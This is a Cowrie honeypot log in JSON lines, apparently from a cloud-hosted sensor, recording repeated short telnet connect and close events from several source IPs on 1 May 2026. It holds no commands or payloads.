{"eventid":"cowrie.session.closed","duration":31.002231121063232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:32.149250Z","src_ip":"81.30.157.18","session":"ad78607242ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068783044815063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:32.209068Z","src_ip":"81.30.157.18","session":"3ac421ad5704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57836,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b615b7b628f","protocol":"telnet","message":"New connection: 81.30.157.18:57836 (159.203.135.109:23) [session: 0b615b7b628f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:32.301043Z"}
{"eventid":"cowrie.session.closed","duration":30.44087028503418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:32.394278Z","src_ip":"149.102.133.101","session":"9d5e7fa33ca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.500255584716797,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.052508Z","src_ip":"81.30.157.18","session":"c63c4617d037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":49250,"dst_ip":"159.203.135.109","dst_port":23,"session":"59a4635a8f14","protocol":"telnet","message":"New connection: 149.102.133.101:49250 (159.203.135.109:23) [session: 59a4635a8f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.081347Z"}
{"eventid":"cowrie.session.closed","duration":30.690512895584106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.096767Z","src_ip":"82.163.78.83","session":"ed1f0665570c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":47254,"dst_ip":"159.203.135.109","dst_port":23,"session":"9549100d8676","protocol":"telnet","message":"New connection: 46.101.32.143:47254 (159.203.135.109:23) [session: 9549100d8676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.234993Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":43164,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f57780b64f","protocol":"telnet","message":"New connection: 85.208.100.77:43164 (159.203.135.109:23) [session: 84f57780b64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.317535Z"}
{"eventid":"cowrie.session.closed","duration":31.030404090881348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.363181Z","src_ip":"37.187.24.227","session":"3f7f97238e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":60226,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac8601e4fe3","protocol":"telnet","message":"New connection: 82.163.78.83:60226 (159.203.135.109:23) [session: 2ac8601e4fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.378018Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":47508,"dst_ip":"159.203.135.109","dst_port":23,"session":"29384d685cba","protocol":"telnet","message":"New connection: 46.101.32.143:47508 (159.203.135.109:23) [session: 29384d685cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.398261Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":60776,"dst_ip":"159.203.135.109","dst_port":23,"session":"765232faa896","protocol":"telnet","message":"New connection: 82.163.78.83:60776 (159.203.135.109:23) [session: 765232faa896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:33.761693Z"}
{"eventid":"cowrie.session.closed","duration":30.681331157684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.054396Z","src_ip":"81.30.157.18","session":"e3eb93b25500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18614363670349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.060665Z","src_ip":"173.249.44.46","session":"ab58049bba6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88678216934204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.066107Z","src_ip":"82.163.78.83","session":"557092f97b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96960759162903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.071222Z","src_ip":"46.101.32.143","session":"8d508dcd8360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61974835395813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.082452Z","src_ip":"37.187.24.227","session":"570b041440ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":33208,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af577cea6b0","protocol":"telnet","message":"New connection: 82.163.78.83:33208 (159.203.135.109:23) [session: 0af577cea6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.332581Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":33368,"dst_ip":"159.203.135.109","dst_port":23,"session":"3545548d66a7","protocol":"telnet","message":"New connection: 82.163.78.83:33368 (159.203.135.109:23) [session: 3545548d66a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.433907Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":48810,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d7d4b434f7e","protocol":"telnet","message":"New connection: 46.101.32.143:48810 (159.203.135.109:23) [session: 9d7d4b434f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.440193Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":45210,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ba392ff95e","protocol":"telnet","message":"New connection: 37.187.24.227:45210 (159.203.135.109:23) [session: 10ba392ff95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:34.825621Z"}
{"eventid":"cowrie.session.closed","duration":30.351935148239136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.039730Z","src_ip":"82.163.78.83","session":"29425c430abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830141067504883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.070522Z","src_ip":"81.30.157.18","session":"0c636b242f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495527267456055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.080549Z","src_ip":"37.187.24.227","session":"161c0b08f3df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43403434753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.085877Z","src_ip":"37.187.24.227","session":"0531ad27c3f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51650881767273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.096228Z","src_ip":"149.102.133.101","session":"0bfbf573fd24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313607931137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.145102Z","src_ip":"82.163.78.83","session":"8f422f8b134c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":34512,"dst_ip":"159.203.135.109","dst_port":23,"session":"82f02497814c","protocol":"telnet","message":"New connection: 82.163.78.83:34512 (159.203.135.109:23) [session: 82f02497814c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.215203Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":46831,"dst_ip":"159.203.135.109","dst_port":23,"session":"3810af48f31c","protocol":"telnet","message":"New connection: 85.208.100.77:46831 (159.203.135.109:23) [session: 3810af48f31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.226455Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":34618,"dst_ip":"159.203.135.109","dst_port":23,"session":"233ea46c3b29","protocol":"telnet","message":"New connection: 82.163.78.83:34618 (159.203.135.109:23) [session: 233ea46c3b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.239766Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":40634,"dst_ip":"159.203.135.109","dst_port":23,"session":"d34b212deffe","protocol":"telnet","message":"New connection: 173.249.44.46:40634 (159.203.135.109:23) [session: d34b212deffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.542981Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":60760,"dst_ip":"159.203.135.109","dst_port":23,"session":"24abed358883","protocol":"telnet","message":"New connection: 149.102.133.101:60760 (159.203.135.109:23) [session: 24abed358883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.663508Z"}
{"eventid":"cowrie.session.closed","duration":30.772039651870728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:35.684711Z","src_ip":"168.119.91.149","session":"c87f277b785a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.315003633499146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.071795Z","src_ip":"149.102.133.101","session":"e04de050af61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.58877110481262,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.078435Z","src_ip":"103.115.172.252","session":"5987a03ecb78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653761863708496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.088311Z","src_ip":"46.101.32.143","session":"d6a5830614bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709192276000977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.130528Z","src_ip":"85.208.100.77","session":"b55e0e76ef20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.621793746948242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.183188Z","src_ip":"85.208.100.77","session":"f419fc3561a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":36188,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff1c7f508ec","protocol":"telnet","message":"New connection: 82.163.78.83:36188 (159.203.135.109:23) [session: cff1c7f508ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.310959Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":60770,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2e190eb415","protocol":"telnet","message":"New connection: 149.102.133.101:60770 (159.203.135.109:23) [session: bb2e190eb415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.316385Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":50910,"dst_ip":"159.203.135.109","dst_port":23,"session":"312a70de1985","protocol":"telnet","message":"New connection: 46.101.32.143:50910 (159.203.135.109:23) [session: 312a70de1985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.320292Z"}
{"eventid":"cowrie.session.closed","duration":31.25553584098816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.327998Z","src_ip":"81.30.157.18","session":"963e9b0a407b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":36322,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d79154e024","protocol":"telnet","message":"New connection: 82.163.78.83:36322 (159.203.135.109:23) [session: 00d79154e024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.376404Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":60782,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13284ecec05","protocol":"telnet","message":"New connection: 149.102.133.101:60782 (159.203.135.109:23) [session: a13284ecec05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.500096Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":49378,"dst_ip":"159.203.135.109","dst_port":23,"session":"33301aadfccc","protocol":"telnet","message":"New connection: 81.30.157.18:49378 (159.203.135.109:23) [session: 33301aadfccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.517175Z"}
{"eventid":"cowrie.session.closed","duration":30.965818405151367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.621859Z","src_ip":"168.119.91.149","session":"2ddc28c13ecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":51468,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47f1d62bfaf","protocol":"telnet","message":"New connection: 46.101.32.143:51468 (159.203.135.109:23) [session: d47f1d62bfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:36.892529Z"}
{"eventid":"cowrie.session.closed","duration":30.633286714553833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.055715Z","src_ip":"173.249.44.46","session":"ede44ca5cedf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760769844055176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.080892Z","src_ip":"85.208.100.77","session":"00a4b3743b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.465397596359253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.111359Z","src_ip":"81.30.157.18","session":"16be398c06c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932780504226685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.145146Z","src_ip":"173.249.44.46","session":"94e4e9178af6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":43152,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f5912585376","protocol":"telnet","message":"New connection: 173.249.44.46:43152 (159.203.135.109:23) [session: 0f5912585376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.237371Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":51300,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d9ab1db0958","protocol":"telnet","message":"New connection: 37.187.24.227:51300 (159.203.135.109:23) [session: 3d9ab1db0958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.299816Z"}
{"eventid":"cowrie.session.closed","duration":30.623828411102295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.368849Z","src_ip":"206.189.139.22","session":"b211a4d5b7f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":37672,"dst_ip":"159.203.135.109","dst_port":23,"session":"d427866fa41b","protocol":"telnet","message":"New connection: 82.163.78.83:37672 (159.203.135.109:23) [session: d427866fa41b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.587400Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":38114,"dst_ip":"159.203.135.109","dst_port":23,"session":"497731daebc5","protocol":"telnet","message":"New connection: 82.163.78.83:38114 (159.203.135.109:23) [session: 497731daebc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:37.936692Z"}
{"eventid":"cowrie.session.closed","duration":30.189329385757446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.066303Z","src_ip":"149.102.133.101","session":"c97c272cd1f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796106338500977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.121570Z","src_ip":"81.30.157.18","session":"247f9ddc6cd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":38460,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbde1479f6dd","protocol":"telnet","message":"New connection: 206.189.139.22:38460 (159.203.135.109:23) [session: dbde1479f6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.138787Z"}
{"eventid":"cowrie.session.closed","duration":30.572846174240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.190739Z","src_ip":"206.189.139.22","session":"36fc95d4928b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676825761795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.200859Z","src_ip":"37.187.24.227","session":"d4c55fbad6a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":38572,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64a998b66a7","protocol":"telnet","message":"New connection: 82.163.78.83:38572 (159.203.135.109:23) [session: a64a998b66a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.228360Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":53178,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe49c6d40c6f","protocol":"telnet","message":"New connection: 85.208.100.77:53178 (159.203.135.109:23) [session: fe49c6d40c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.286533Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":60796,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6fe069d2084","protocol":"telnet","message":"New connection: 149.102.133.101:60796 (159.203.135.109:23) [session: f6fe069d2084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.290783Z"}
{"eventid":"cowrie.session.closed","duration":30.600107669830322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:38.583198Z","src_ip":"168.119.91.149","session":"a96df930d04d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839160680770874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:39.040449Z","src_ip":"82.163.78.83","session":"9f5a187d955e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.605791330337524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:39.050736Z","src_ip":"149.102.133.101","session":"cdd450326a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797921657562256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:39.098748Z","src_ip":"46.101.32.143","session":"c82b8b3aff42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738787412643433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:39.527384Z","src_ip":"168.119.91.149","session":"ba4690f85516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":38464,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc3e841f363","protocol":"telnet","message":"New connection: 206.189.139.22:38464 (159.203.135.109:23) [session: 0cc3e841f363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:39.716428Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":49380,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b41e32b0e1","protocol":"telnet","message":"New connection: 81.30.157.18:49380 (159.203.135.109:23) [session: c1b41e32b0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:39.948925Z"}
{"eventid":"cowrie.session.closed","duration":30.898528337478638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.093394Z","src_ip":"37.187.24.227","session":"8110a2efccb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57772,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8247a4eb69b","protocol":"telnet","message":"New connection: 37.187.24.227:57772 (159.203.135.109:23) [session: e8247a4eb69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.222627Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"382a0b068b91","protocol":"telnet","message":"New connection: 85.208.100.77:57492 (159.203.135.109:23) [session: 382a0b068b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.340130Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58468,"dst_ip":"159.203.135.109","dst_port":23,"session":"83bfd9b6b4e8","protocol":"telnet","message":"New connection: 37.187.24.227:58468 (159.203.135.109:23) [session: 83bfd9b6b4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.410717Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":43276,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9a11ba91c08","protocol":"telnet","message":"New connection: 206.189.139.22:43276 (159.203.135.109:23) [session: c9a11ba91c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.547929Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":60808,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb1a522f8505","protocol":"telnet","message":"New connection: 149.102.133.101:60808 (159.203.135.109:23) [session: eb1a522f8505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.773411Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":49396,"dst_ip":"159.203.135.109","dst_port":23,"session":"470053ad6b07","protocol":"telnet","message":"New connection: 81.30.157.18:49396 (159.203.135.109:23) [session: 470053ad6b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:40.824258Z"}
{"eventid":"cowrie.session.closed","duration":30.413262844085693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.058187Z","src_ip":"82.163.78.83","session":"c8282afd51be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000673294067383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.064088Z","src_ip":"46.101.32.143","session":"b4d0682ff58a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59960961341858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:41.111953Z","src_ip":"81.30.157.18","session":"9accc6c5542b","protocol":"telnet"}
